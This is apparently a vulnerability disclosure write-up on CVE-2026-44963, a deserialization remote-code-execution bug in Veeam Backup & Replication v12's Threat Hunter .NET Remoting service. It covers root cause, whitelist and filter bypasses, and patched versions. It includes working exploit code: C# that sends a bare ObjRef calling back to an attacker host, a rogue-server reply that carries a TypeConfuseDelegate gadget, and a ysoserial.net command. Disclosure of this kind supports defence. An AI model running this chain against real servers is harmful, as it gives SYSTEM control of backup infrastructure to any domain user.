A single domain credential — the kind that shows up in every breach dump — was enough to execute code as NT AUTHORITY\SYSTEM on a Veeam Backup & Replication server: the one machine that holds the encryption keys and stored credentials for every backup you own. No admin rights. No Veeam role. No user interaction.

The bug lives in the Veeam Threat Hunter Service — Veeam's bundled malware scanner, installed on every Backup & Replication server — which listens on TCP port 6175, speaks .NET Remoting (a protocol Microsoft deprecated years ago), and deserializes whatever you send it into a live object graph. The twist, which we'll build up to, is that the server's own authorization check is what pulls the trigger. This is CVE-2026-44963, and what's surprising about it is how familiar it feels. It's the third deserialization RCE in this product's recent history, and the mechanism is a near-perfect rhyme with the previous two.

This writeup walks the whole chain: how we found it, why a hand-curated whitelist of 4,200 types still let the single most dangerous .NET Remoting primitive through, the transport-layer trick that neutralizes the last line of defense, and — because a CVE is only half the story — how you'd detect this at runtime whether or not the patch is applied.

TL;DR

  • What: Remote code execution as SYSTEM on Veeam Backup & Replication v12.x, reachable by any authenticated domain user (and, in a non-default Guest configuration, effectively unauthenticated).
  • Where: The Threat Hunter Service (VeeamThreatHunterSvc), a .NET Remoting endpoint on TCP 6175.
  • Why: Three compounding weaknesses — (1) the Threat Hunter grants access to every member of BUILTIN\Users, i.e. every domain user; (2) System.Runtime.Remoting.ObjRef — the one .NET Remoting type that opens a callback channel — is on the deserialization whitelist while every known gadget is blocked; (3) that whitelist guards inbound requests only, so the gadget rides home on the attacker-controlled reply leg. The trigger is subtle: the server's own authorization check reads msg.MethodBase off the deserialized message, and that read is a remote call to the attacker.
  • Impact: Full compromise of the backup fabric — keys, credentials, and the ability to destroy every backup copy before deploying ransomware.
  • Fixed in: 12.3.2.4854. Not present in v13.0+ (Threat Hunter rewritten in .NET 8, .NET Remoting removed, BinaryFormatter disabled).
Version Status
v12.0 – 12.3.2.4465 Vulnerable — Threat Hunter uses .NET Remoting + BinaryFormatter
12.3.2.4854 (KB4869) Fixed
v13.0.1.2067+ Not affected — service rewritten in .NET 8, no .NET Remoting, BinaryFormatter disabled
Version:
v12.0 – 12.3.2.4465
Status:
Vulnerable — Threat Hunter uses .NET Remoting + BinaryFormatter
Version:
12.3.2.4854 (KB4869)
Status:
Fixed
Version:
v13.0.1.2067+
Status:
Not affected — service rewritten in .NET 8, no .NET Remoting, BinaryFormatter disabled
  • CVE: CVE-2026-44963 (CWE-502, Deserialization of Untrusted Data)
  • CVSS v4: 9.4 Critical — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (per Veeam KB4869)
  • Prerequisite: any authenticated domain user (membership in BUILTIN\Users, which includes all domain users by default)
  • Tested on: v12.3.2.4465 and v13.0.1.2067, Azure marketplace images, Windows Server 2022 Datacenter (Standard_D4s_v3)

We didn't take the "not affected in v13" claim on faith. We deployed v13.0.1.2067 and confirmed the Threat Hunter now runs on net8.0 as an ASP.NET Core service, port 6175 is closed, and EnableUnsafeBinaryFormatterSerialization is false in the runtime config. The bug class is genuinely gone in v13 — which helps the organizations that have already made that jump, and not the far larger number still running v12 in production.

Am I affected? Running v12.x (≤ 12.3.2.4465) on a domain-joined Backup server → yes, every domain user can pop it; patch now. Already on v13.0+, or patched to 12.3.2.4854no. Standalone/workgroup box with defaults → not remotely reachable by anonymous callers, but any local Users-group account still qualifies.

Why This Target Matters

A Veeam Backup server isn't just another host. It holds the encryption keys to your backups, stored credentials for every hypervisor and physical machine it protects, and — more often than anyone likes to admit — a service account with domain-admin reach. It is the recovery story. Which is exactly why modern ransomware operations open by destroying backups before they encrypt anything else: no clean restore, no leverage lost.

So SYSTEM on this box, from any domain user, over the network, is close to the worst single primitive an attacker can hold in an enterprise. That's the stakes. Here's the path.

How We Got Here

The starting point was patient, unglamorous code archaeology. We fed the entire Veeam installation into dnSpyEx and let it run:

Category Count
Binaries classified 4,644
.NET assemblies 3,780
Native binaries (C/C++) 864
Decompiled .cs files 131,880
Decompiled source size ~0.48 GB
Binaries classified:
4,644
.NET assemblies:
3,780
Native binaries (C/C++):
864
Decompiled .cs files:
131,880
Decompiled source size:
~0.48 GB

Nearly half a gigabyte of C#. Somewhere in it is a text file with 4,200 approved type names, and one of those names is the whole story. But we didn't start at the whitelist — we started at the network, at the front doors, and got turned away from every one of them first.

The front doors that didn't open

WCF on port 9401. The main backup service exposes a NetTcpBinding with no transport authentication:

<netTcpBinding>
  <binding name="invokeServiceBinding" maxReceivedMessageSize="2147483647"
           sendTimeout="00:10:00" receiveTimeout="00:20:00">
    <security mode="Transport">
      <transport clientCredentialType="None" />
    </security>
    <readerQuotas maxStringContentLength="2147483647" />
  </binding>
</netTcpBinding>

clientCredentialType="None" — no client auth at the transport layer, and a very inviting method behind it:

// Veeam.Backup.Interaction.MountService.IRemoteInvokeService
[ServiceContract]
public interface IRemoteInvokeService
{
    [OperationContract]
    [FaultContract(typeof(CRemoteInvokeExceptionInfo))]
    string Invoke(string scope, string method, string parameters);
}

We connected and called it:

[+] WCF channel created (no auth required!)
[*] Invoke('CredentialsDbScope', 'FindAll', '<RemoteInvokeSpec ...>')...
[+] FAULT (pre-auth access!): Access denied

Pre-auth reach, but the "Access denied" comes from an application-layer JWT check inside CVbRestoreServiceStub.Invoke() — a token signed by the server's own RSA-2048 X509 certificate and bound to a valid restore session. The transport let us in; the application layer stopped us cold.

REST API on port 9419. Exactly three [AllowAnonymous] endpoints — oauth2/token, serverCertificate, serverTime. The token endpoint accepts a vbr_token grant that swallows internal JWTs (hold that thought — it returns in Related Findings), but there's no unauthenticated path to a valid token. XXE against the XML parsers: blocked. JSON deserialization tricks: blocked.

Every pre-auth door was locked. So we stopped trying to pick locks and started reading the floor plan, asking a different question: is there a room where a low-privilege user is trusted with something they shouldn't be?

There was a whole service.

The Attack Surface

To find that service, we mapped everything Veeam exposes. It listens on a lot of ports:

Port Process Protocol Auth
9401 Veeam.Backup.Service WCF NetTcp + SSL JWT Token
9419 Veeam.Backup.RestAPIService HTTPS REST API OAuth2
9392 Veeam.Backup.Service .NET Remoting TCP Windows SSPI
9393 Veeam.Backup.CatalogDataService .NET Remoting TCP Windows SSPI
6175 Veeam.ThreatHunterService .NET Remoting TCP Windows SSPI (Users group)
6162 VeeamTransportSvc Windows RPC Windows Auth
6160 / 11731 VeeamDeploymentSvc Native TCP Unknown
6190 / 6290 Veeam.Guest.Interaction.Proxy Native TCP Unknown
10001-10006 Veeam.Backup.Service / CloudService .NET Remoting TCP Windows SSPI
Port:
9401
Process:
Veeam.Backup.Service
Protocol:
WCF NetTcp + SSL
Auth:
JWT Token
Port:
9419
Process:
Veeam.Backup.RestAPIService
Protocol:
HTTPS REST API
Auth:
OAuth2
Port:
9392
Process:
Veeam.Backup.Service
Protocol:
.NET Remoting TCP
Auth:
Windows SSPI
Port:
9393
Process:
Veeam.Backup.CatalogDataService
Protocol:
.NET Remoting TCP
Auth:
Windows SSPI
Port:
6175
Process:
Veeam.ThreatHunterService
Protocol:
.NET Remoting TCP
Auth:
Windows SSPI (Users group)
Port:
6162
Process:
VeeamTransportSvc
Protocol:
Windows RPC
Auth:
Windows Auth
Port:
6160 / 11731
Process:
VeeamDeploymentSvc
Protocol:
Native TCP
Auth:
Unknown
Port:
6190 / 6290
Process:
Veeam.Guest.Interaction.Proxy
Protocol:
Native TCP
Auth:
Unknown
Port:
10001-10006
Process:
Veeam.Backup.Service / CloudService
Protocol:
.NET Remoting TCP
Auth:
Windows SSPI

The bold row is where the floor plan gave us away. Its access control is different from everything else — and much more generous.

Who's Allowed to Talk to the Threat Hunter

Veeam ships a proper role model: six roles, from Backup Administrator down to Backup Viewer.

// Veeam.Backup.Core.CRole
public static readonly Guid BackupAdministratorRoleId = new Guid("5ff0e0eb-45cf-48cc-9677-7613fc79bc11");
public static readonly Guid RestoreOperatorRoleId     = Guid.Parse("B167C3AF-2262-4b6c-9861-0606FC0CB6B1");
public static readonly Guid BackupOperatorRoleId      = Guid.Parse("8EFD7AE8-03D5-44d1-A7F7-19E728EEB96D");
public static readonly Guid TapeOperatorRoleId        = Guid.Parse("DBE2BA02-48E4-41B7-8DED-CB30CBBDFF7B");
public static readonly Guid BackupViewerRoleId        = Guid.Parse("3C5720EC-BADB-4A66-B1EC-EB4037DAD657");
public static readonly Guid IncidentApiOperatorRoleId = Guid.Parse("E71BB27E-BD16-47B6-8B1C-98EF2D7A996E");

The Threat Hunter service ignores all of it. It has its own access checker:

// Veeam.Backup.AntivirusService.CAntivirusServiceAccessChecker
internal class CAntivirusServiceAccessChecker : IVbrAccessChecker
{
    public bool HasAccess(IIdentity identity, Permissions permission)
    {
        WindowsIdentity windowsIdentity = identity as WindowsIdentity;
        if (windowsIdentity == null)
        {
            Log.Error("Unknown identity: " + identity.Name + ".");
            return false;
        }

        // Any member of BUILTIN\Users is granted access.
        if (new WindowsPrincipal(windowsIdentity).IsInRole(WindowsBuiltInRole.User))
        {
            return true;
        }
        return CGenericAccessChecker.IsInBuiltinAdministrator(windowsIdentity);
    }
}

The check is IsInRole(WindowsBuiltInRole.User). In any domain-joined environment, Authenticated Users is a member of BUILTIN\Users by default — so every domain user satisfies it. Not a Veeam admin, not a Veeam-configured user. Any valid domain credential is a trusted caller as far as this deserializer is concerned.

Before we open that service up, four facts about .NET Remoting make everything that follows click.

A 60-Second .NET Remoting Primer

If you already dream in TransparentProxy, skip ahead. Everyone else:

  • .NET Remoting is a deprecated Microsoft RPC framework. A client holds a transparent proxy — a local stand-in object. Call a method on it and Remoting quietly serializes the call, ships it over TCP, runs it on the server, and ships the result back. The proxy looks local but every access can be a network round-trip.
  • BinaryFormatter is the serializer underneath. It will happily reconstruct almost any .NET type from bytes — including types that do things while being deserialized. That is why Microsoft flags it as dangerous (SYSLIB0011) and why Veeam bolted a type whitelist onto it.
  • ObjRef is the one type you never want to accept from a stranger. It's the serialized form of "a reference to a remote object." Deserialize an ObjRef and .NET builds a live proxy from it — pointed at whatever address the bytes say. Hand a server your ObjRef and you've handed it a phone number it will dial back: you become the server, it becomes your client.
  • A gadget is a normal, "allowed" object whose deserialization side-effects are turned into code execution. The classic one here, TypeConfuseDelegate, abuses a SortedSet<string>: when it rebuilds itself it calls its comparator to sort — and the attacker has swapped that comparator (via a reflection edit of the delegate's _invocationList) for Process.Start. Deserializing the set runs a command.

Hold those four. The whole exploit is just: get an ObjRef past the whitelist → make the server dial us → answer its callbacks with a TypeConfuseDelegate. The rest of this post is how each of those three steps gets past a defense that was specifically built to stop it.

The Sink That Turns Bytes Into Objects

Now, the deserializer itself. The Threat Hunter stands up its endpoint like this:

// Veeam.Backup.AntivirusService.CAntivirusService
public void Run()
{
    this._channel = CSrvTcpChannelRegistration.Make(
        "avsvc",
        CAntivirusServiceRegistryOptions.Instance.Port,  // 6175
        CSrvTcpChannelOptions.MakeDefaults("IdentifyCallers"),
        new CAntivirusServiceAccessCheckProvider(),
        false, null, null, null);

    this._engine = new CThreatHunterEngine();
    this._engine.Start();

    this._service = new CRemoteAntivirusServiceStub(this._engine);
    RemotingServices.Marshal(this._service, "AvService");
}

CSrvTcpChannelRegistration is a shared helper. It wires up a TcpServerChannel with SSPI auth and a custom BinaryFormatter sink — and it's the same helper used by the Broker Service (9392), CDP, Cloud, and UI Server. Everything we're about to describe applies to all of them; the Threat Hunter is simply the easiest to reach.

// Veeam.Common.Remoting.CSrvTcpChannelRegistration
IServerChannelSinkProvider sinkProvider =
    CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog,
        requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);

TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
tcpServerChannel.IsSecured = true;  // SSPI authentication
ChannelServices.RegisterChannel(tcpServerChannel, true);

private static IServerChannelSinkProvider GetSinkProvider(...)
{
    return new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog,
        requireBasicPermission, accessCheckerProvider, mfaProvider);
}

CBinaryServerFormatterSinkProvider is the sink that turns wire bytes into live objects. The order in which it does its work is the entire vulnerability.

Root Cause: The Authorization Check Is the Trigger

The tempting one-line summary of this bug is "it deserializes before it authorizes." That is true but shallow, and it does not survive contact with the source. The real mechanism is stranger and more instructive: the authorization check itself pulls the trigger, because to decide whether a caller is allowed, it reads metadata off the deserialized message — and that message is a proxy to the attacker, so the read is a remote call.

Here is the actual CBinaryServerFormatterSink.ProcessMessage(), decompiled (trimmed to the relevant branch):

// Veeam.Common.Remoting.CBinaryServerFormatterSink.ProcessMessage()
if (RemotingServices.GetServerTypeForUri((string)requestHeaders["__RequestUri"]) == null)
{
    responseHeaders["__HttpStatusCode"] = "404";        // unknown URI -> 404. Safe.
}
else
{
    // (1) Deserialize the request body. With an ObjRef inside, this returns a
    //     transparent PROXY to the attacker's server — no connection opened yet.
    requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);

    IMethodMessage methodMessage = requestMsg as IMethodMessage;   // proxy is typed IMethodCallMessage -> cast holds
    if (methodMessage != null)
    {
        string text3 = requestHeaders["access_token"] as string;
        EJwtValidationResult r = this._mfaProvider.ValidateToken(text3, out dictionary);   // reads a header, not the message
        if (r == EJwtValidationResult.Empty || r == EJwtValidationResult.Invalid)
            this.EnsureMfa(requestHeaders);

        // (2) Authorization. Its FIRST line reads methodMessage.MethodBase (see below).
        this.EnsureAccessIsAllowed(methodMessage);
    }

    // (3) Dispatch the "call". Reads the rest of the message members to invoke it.
    sinkStack.Push(this, null);
    serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, ...);
}

Now EnsureAccessIsAllowed — the decisive part is its first statement:

// Veeam.Common.Remoting.CBinaryServerFormatterSink.EnsureAccessIsAllowed()
private void EnsureAccessIsAllowed(IMethodMessage msg)
{
    MethodBase methodBase = msg.MethodBase;   // <-- msg is the ATTACKER'S PROXY. This is a REMOTE CALL.
    CAccessCheckAttribute[] array = methodBase.GetCustomAttributes(false)
        .OfType<CAccessCheckAttribute>().ToArray();
    // ... decides permission from the attributes on the returned MethodBase ...
}

Read that again. To find out which permission a call requires, the authorizer asks the message for its MethodBase. When the message is an ordinary in-process object, that is a field read. When the message is a transparent proxy conjured from an attacker's ObjRef, msg.MethodBase is a method invocation over .NET Remoting to the attacker's server — the very first outbound callback. The server cannot authorize the message without first dereferencing attacker-controlled state across the network. Authorization is not bypassed; authorization is weaponized.

This is why the live callback log (below) shows MethodBase as the first thing the attacker's rogue server receives, before Uri, MethodName, or Properties. The first is the authorization check reaching for MethodBase; the rest come from the dispatch at step (3), which walks the remaining members to build and invoke the "method call" — and one of those members, Properties, is where the gadget rides home.

Two small but load-bearing details in the deserialize helper:

// CBinaryServerFormatterSink.DeserializeBinaryRequestMessage()
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
    return (IMessage)CBinaryServerFormatterSink.CreateFormatter(false)
        .DeserializeMethodResponse(requestStream,                               // note: MethodResponse, on a request
            new HeaderHandler(new UriHeaderHandler(requestHeaders).HeaderHandler), null);
}

First, CreateFormatter(false) builds the BinaryFormatter with two gates that are supposed to stop dangerous types: Binder = RestrictedSerializationBinder(..., FilterByWhitelist) and FilterLevel = TypeFilterLevel.Low. Reason One and Reason Two, below, dismantle those two in turn. Second — the part that lets our payload become the request — Veeam's sink never insists the bytes be a well-formed method call. It deserializes the body into an object and casts the result straight to (IMessage). Anything that comes back implementing IMessage is accepted as the request, and in Stage 2 we make sure ours does. (Veeam happens to call DeserializeMethodResponse here, but that imposes nothing — we decompiled mscorlib and confirmed it forwards to the same core deserializer as a plain Deserialize; a bare object is neither required to be, nor rejected for not being, a method call.)

We validated all of this against the running service, not just the decompiler: dnSpy attached to the live Veeam.ThreatHunterService process, with a breakpoint on the BinaryFormatter.DeserializeMethodResponse call and CreateFormatter's FilterByWhitelist / TypeFilterLevel.Low in view.

Veeam clearly knows BinaryFormatter is dangerous — they bolted both a whitelist binder and TypeFilterLevel.Low onto it. So the real question is why those two gates don't stop ObjRef. Two reasons.

Reason One: ObjRef Is on the Whitelist

Veeam's RestrictedSerializationBinder is a genuine, good-faith attempt to constrain deserialization:

// Veeam.Backup.Common.RestrictedSerializationBinder
protected override Type ResolveType(ValueTuple<string, string> key)
{
    this.EnsureTypeIsAllowed(key);      // whitelist gate
    Type type = base.ResolveType(key);
    CheckIsRestrictedType(type);        // hardcoded blocklist
    return type;
}

private void EnsureTypeIsAllowed(ValueTuple<string, string> key)
{
    // If ShouldWhitelistingRemoting is false the whitelist is skipped entirely.
    // On real deployments it's true, so the whitelist is genuinely enforced.
    if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
    {
        string afqn = key.Item2 + ", " + key.Item1;
        _remotingTypesRestrictions.EnsureTypeIsAllowed(afqn, this._mode);   // throws if not whitelisted
    }
}

// The hardcoded blocklist — the last-resort deny set — contains exactly one type.
private static readonly HashSet<Type> RestrictedTypes =
    new HashSet<Type> { typeof(WindowsIdentity) };

The whitelist itself lives in an embedded resource, whitelist.txt inside Veeam.Common.SerializationRules.dll4,200 entries (we counted them in the shipping DLL), overwhelmingly Veeam's own types. That's real effort. We tested it against the usual deserialization gadget catalog:

BLOCKED: System.Data.DataSet
BLOCKED: System.Windows.Data.ObjectDataProvider
BLOCKED: System.Diagnostics.Process
BLOCKED: System.Collections.Generic.SortedSet<T>     (TypeConfuseDelegate carrier)
BLOCKED: System.DelegateSerializationHolder
BLOCKED: System.Security.Claims.ClaimsIdentity
BLOCKED: System.Security.Principal.WindowsIdentity

ALLOWED: System.Runtime.Remoting.ObjRef              <-- the problem
ALLOWED: System.Exception

System.Runtime.Remoting.ObjRef is allowed. And ObjRef is the .NET Remoting exploitation primitive: it implements IObjectReference, so when BinaryFormatter finishes reading one it calls GetRealObject()RemotingServices.Unmarshal(), producing a live RemotingProxy pointed at whatever network endpoint the serialized ObjRef names. The proxy doesn't dial out immediately — Remoting connects lazily, on the first member access. That first access, as we saw, is msg.MethodBase inside EnsureAccessIsAllowed. Deserializing an attacker's ObjRef doesn't give you an object; it arms a callback that fires the instant the server tries to authorize the message.

They blocked SortedSet, Process, DataSet, and hardcoded WindowsIdentity into a second deny list. The one primitive that hands an attacker a callback channel stayed on the approved list.

We didn't trust the decompiler for this — we loaded the shipping Veeam.Common.SerializationRules.dll on the live server and asked its actual whitelist object, CWhitelist.EnsureIsAllowed, about each type. Every known gadget throws NotSupportedException. ObjRef returns cleanly:

And it isn't just ObjRef. Grepping the shipping whitelist.txt, the exact helper types an ObjRef drags in when it rehydrates itself — System.Runtime.Remoting.TypeInfo, ChannelInfo, and Channels.ChannelDataStore — are all on the list too. This wasn't a one-line slip; the whole ObjRef family was waved through.

That single frame is the whole vulnerability. This is the recurring, difficult truth about defending deserialization with a list: it is only ever as complete as the author's imagination on the day they wrote it. They thought of SortedSet, Process, DataSet, WindowsIdentity, DelegateSerializationHolder — and forgot the one type whose entire purpose is to open a channel to somewhere else. One missed entry is a full RCE.

Reason Two: TypeFilterLevel.Low — .NET's Own Lock, Picked

Reason One got ObjRef past Veeam's lock, the whitelist. But there are two locks on this door, and Veeam only built one of them. The second is .NET's own.

TypeFilterLevel is a built-in .NET Remoting security knob. Low — the safe value, the one Microsoft tells you to use — means "when you deserialize a remoting message, refuse the dangerous infrastructure types," and ObjRef sits right at the top of that refuse-list. This setting exists for precisely the attack we're attempting. Veeam turns it on, right next to its own whitelist binder:

// CBinaryServerFormatterSink.CreateFormatter()
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Binder = new RestrictedSerializationBinder(          // lock #1 — Veeam's whitelist
    serializingResponse, CRemotingTypesRestrictions.Modes.FilterByWhitelist);
binaryFormatter.FilterLevel = TypeFilterLevel.Low;                   // lock #2 — .NET's built-in filter

So how do you slip an ObjRef past a filter whose whole job is to block ObjRef? You don't fight the lock — you exploit where .NET chose to check it.

That ObjRef check does not run on every deserialize. It runs only when .NET's internal reader believes it's parsing an actual remoting method call — a state it tracks with a flag called IsRemoting. So IsRemoting == true means, quite literally: the bytes I'm reading announced themselves as a method call. And that hands us the bypass — don't send a method call.

What is a "method call," as bytes? When you invoke proxy.Foo(x), .NET doesn't ship your arguments raw. It builds a BinaryMethodCall record — a tagged block that says "this is an invocation: here's the method, the type, the args." When the parser reads that record it flips IsRemoting on and switches the ObjRef check on. (Strictly, IsRemoting is bMethodCall || bMethodReturn — a method return record trips it too; a bare object trips neither.)

Here's .NET's mistake, not Veeam's: the designers assumed an ObjRef could only ever arrive inside a method message, so that's the only place they look. Nothing forces us to send one. We take our ObjRef and call BinaryFormatter.Serialize(objRef) ourselves — the result is a plain object graph, just records describing the ObjRef's fields, with no method-message record anywhere in it. The parser reads it as "some object," IsRemoting stays false, and the check never fires.

  • Normal client: proxy.Foo(x) → framework emits a BinaryMethodCall → parser sets IsRemoting = trueObjRef check runs → blocked.
  • Us: BinaryFormatter.Serialize(objRef) → a bare object, no method record → IsRemoting stays false → check skipped → ObjRef deserialized.

We didn't take any of this on faith — we decompiled the exact mscorlib on the box and read it. FormatterServices.CheckTypeSecurity throws only when TypeFilterLevel.Low, against a fixed list of four types: DelegateSerializationHolder, ObjRef, IEnvoyInfo, ISponsor.

Sit with that for a second. .NET's own designers drew up a list of exactly four types too dangerous to accept from a remoting stream — and ObjRef is on it, by name. Veeam's 4,200-entry whitelist then put it back. Two hand-written lists, the same type, opposite verdicts — and the allow-list won.

The rest of the framework confirms the gate mechanics: ObjectReader.Deserialize calls CheckTypeSecurity only behind if (... && IsRemoting), where IsRemoting => bMethodCall || bMethodReturn; it resets both flags to false on entry, and the only thing that sets them is the parser hitting a MethodCall/MethodReturn record (SetMethodCall / SetMethodReturn). A bare object hits neither — so the check never runs. And in that same no-method branch sits if (TopObject is IObjectReference) TopObject = GetRealObject(...), the line that turns our ObjRef into the live proxy. The bypass isn't luck; it's a direct consequence of how the framework is written.

One catch — and this is the concrete move we actually make: you can't ask a Remoting proxy to send those bare bytes. Wrapping every call in a BinaryMethodCall is exactly what the proxy is for. So we go around our own client: reflect into the proxy's sink chain, step past the BinaryClientFormatterSink (the wrapper), and push our hand-serialized ObjRef straight into the raw TcpClientTransportSink underneath it — the bare TCP layer. The server receives a plain object where it expected a method call — but as Root Cause showed, its inbound sink never required a method call in the first place, so it deserializes and resolves our ObjRef without complaint. (Exact reflection in Stage 1 .)

The metal detector only powers on for passengers in the labeled lane. We stroll in through the unmarked service door.

Two locks down, both by design flaws: Veeam's whitelist chose to allow ObjRef, and .NET's filter chose to only look at method calls. Add the trigger from Root Cause and the whole chain fits in one sentence — the whitelist is the what (an ObjRef gets in), the bare-object trick is the how (past .NET's filter), and the authorization check is the when (it dereferences the proxy and dials us home). Time to fire it.

Exploitation: Turning the Server into a Client

The elegant part of this chain is that the target does most of the work. We don't send a payload that runs code — we send a payload that makes the server call us, and the real gadget detonates on the return leg, where there are no defenses at all.

The whole exchange, end to end:

Stage 1 — SSPI in, ObjRef out

Any account in the target's Users group works — every domain user qualifies — and the framework handles the SSPI handshake for us:

IDictionary props = new Hashtable();
props["name"] = "main";
props["secure"] = "true";                             // SSPI / NegotiateStream
props["tokenImpersonationLevel"] = "Identification";
// Domain creds: props["username"]="jdoe"; props["password"]="Winter2026!"; props["domain"]="CORP";
TcpClientChannel channel = new TcpClientChannel(props, new BinaryClientFormatterSinkProvider());
ChannelServices.RegisterChannel(channel, true);

MarshalByRefObject proxy = (MarshalByRefObject)Activator.GetObject(
    typeof(MarshalByRefObject), "tcp://TARGET:6175/AvService");
proxy.ToString();   // => "Veeam.Backup.AntivirusService.CRemoteAntivirusServiceStub"

That round-trip string is the server volunteering its own internal class name. Connection confirmed.

Next, extract the transport sink — this is the TypeFilterLevel.Low bypass in practice. We reach through the transparent proxy and pull out the raw transport sink, skipping the formatter that would otherwise tag our stream as a method call:

// proxy -> TransparentProxy -> RealProxy._identity -> Identity.ChannelSink -> sink chain
RealProxy realProxy = RemotingServices.GetRealProxy(proxy);
FieldInfo idField = typeof(RealProxy).GetField("_identity", BindingFlags.NonPublic | BindingFlags.Instance);
object identity = idField.GetValue(realProxy);

PropertyInfo csProp = identity.GetType().GetProperty("ChannelSink",
    BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance);
IClientChannelSink formatterSink = (IClientChannelSink)csProp.GetValue(identity, null);
// formatterSink = BinaryClientFormatterSink  (skipped)

IClientChannelSink transportSink = formatterSink.NextChannelSink;
// transportSink = TcpClientTransportSink  (raw TCP + NegotiateStream — used directly)

Then serialize a bare ObjRef pointing at our own rogue Remoting server and push it through the transport:

MarshalByRefObject rogueProxy = (MarshalByRefObject)Activator.GetObject(
    typeof(MarshalByRefObject), "tcp://ATTACKER:1111/pwn");
ObjRef objRef = RemotingServices.Marshal(rogueProxy);

BinaryFormatter fmt = new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple };
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, objRef);   // plain serialization records — not a BinaryMethodCall
ms.Position = 0;

ITransportHeaders headers = new TransportHeaders();
headers["__RequestUri"] = "/AvService";
headers["Content-Type"] = "application/octet-stream";
transportSink.ProcessMessage(dummyMsg, headers, ms, out respHeaders, out respStream);

On the server, step by step:

  1. TcpServerTransportSink.ServiceRequest() receives the frame.
  2. CBinaryServerFormatterSink.ProcessMessage() runs and calls DeserializeBinaryRequestMessage()CreateFormatter(false).DeserializeMethodResponse(stream, …).
  3. BinaryFormatter reads a bare ObjRef — no BinaryMethodCall record.
  4. ObjectReader.IsRemoting stays false.
  5. RestrictedSerializationBinder.ResolveType() checks the whitelist — ObjRef is allowed.
  6. CheckTypeSecurity() is skipped because IsRemoting == false. TypeFilterLevel.Low never inspects the payload.
  7. ObjectManager.DoFixups()ObjRef.GetRealObject()RemotingServices.Unmarshal() → a live RemotingProxy.
  8. The server now holds a proxy to tcp://ATTACKER:1111/pwn.

And here's the important part: it hasn't dialed us yet. Remoting proxies connect lazily, on first use — so far, nothing has left the building. The outbound call fires the moment something touches the proxy. And the first thing to touch it, as the Root Cause section showed, is not the dispatcher — it's EnsureAccessIsAllowed reaching for msg.MethodBase. The authorization check makes the first callback.

Stage 2 — The callback chain and the unguarded return leg

Here's the hinge that makes the whole thing go. The ObjRef we sent doesn't point at some random object — it points at an object on our rogue server that implements IMethodCallMessage. So when the victim deserializes it, the cast requestMsg as IMethodMessage succeeds, and the server now believes our network object is the request message it just received. To authorize that message and then dispatch it, the server has to read its members — and every read is a call back to us. We answer each one:

get_MethodBase   <- from EnsureAccessIsAllowed (the AUTH check)  -> we return a MethodInfo
get_Uri          <- from dispatch                                -> we return "/AvService"
get_MethodName   <- from dispatch                                -> we return "Equals"
get_TypeName     <- from dispatch                                -> we return "System.MarshalByRefObject"
get_MethodBase   <- from dispatch                                -> MethodInfo again
get_Properties   <- from dispatch                                -> we return the GADGET   ** detonation **

The first get_MethodBase is the authorization check; the rest are the dispatcher walking the message to build and invoke the "call." (This is exactly the callback order the live run shows.) We answer the boring questions with valid, boring values to keep the server talking — then hand back the payload on get_Properties:

public IDictionary Properties
{
    get
    {
        Hashtable h = new Hashtable();
        h["__Args"] = new object[] { gadgetSortedSet };  // TypeConfuseDelegate
        return h;
    }
}

Here's why this works, and it is worth being precise because it is the crux. Veeam's whitelist binder is not applied symmetrically. In RestrictedSerializationBinder the enforcement is gated on the direction of travel:

private void EnsureTypeIsAllowed(ValueTuple<string, string> key)
{
    // Whitelist is enforced ONLY when deserializing a REQUEST (_serializingResponse == false).
    if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
        _remotingTypesRestrictions.EnsureTypeIsAllowed(key.Item2 + ", " + key.Item1, this._mode);
}

The whitelist guards inbound requests only. And the Threat Hunter's channel (CSrvTcpChannelRegistration) registers a receiver-only TcpServerChannel — it wires up a server sink, and nothing on any outbound/reply path in that process carries the whitelist at all. So when our ObjRef flips the victim into a client that ingests attacker "responses," the gadget arrives through the one deserialization path Veeam never guards. The two paths are asymmetric by design:

Inbound request (what we can't use) Reply from our rogue (what we do use)
Direction attacker → Threat Hunter
Deserializer CBinaryServerFormatterSink
Whitelist binder enforced (`_serializingResponse == false`)
SortedSet gadget blocked (`NotSupportedException`)
Direction Threat Hunter → attacker's server
Deserializer stock Remoting client path
Whitelist binder not applied
SortedSet gadget passes
Inbound request (what we can't use):
attacker → Threat Hunter
Deserializer:
CBinaryServerFormatterSink
Whitelist binder:
enforced (`_serializingResponse == false`)
SortedSet gadget:
blocked (`NotSupportedException`)
Reply from our rogue (what we do use):
Threat Hunter → attacker's server
Deserializer:
stock Remoting client path
Whitelist binder:
not applied
SortedSet gadget:
passes

This is why the SortedSet in the whitelist test above is rejected outright, yet the same SortedSet sailing back on the reply leg detonates. (The often-cited TypeFilterLevel is a red herring here: TypeConfuseDelegate smuggles its delegate past filter levels by construction — the decisive gap is the absent whitelist, not the filter level.)

So we return a SortedSet<string> carrying a classic TypeConfuseDelegate gadget: a Comparison<string> delegate that's actually a Func<string, string, Process> pointing at Process.Start. When SortedSet rebuilds its internal tree during deserialization, it calls its comparator to order the elements — and the comparator is Process.Start:

Deserialize SortedSet<string> -> invoke Comparison("cmd.exe", "/c whoami > C:\PWNED.txt")
                              -> type-confused into Process.Start("cmd.exe", "/c whoami > C:\PWNED.txt")
                              -> cmd.exe runs as NT AUTHORITY\SYSTEM

The gadget is standard ysoserial.net — no custom crafting:

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd.exe /c whoami > C:\PWNED.txt" -o base64

POC

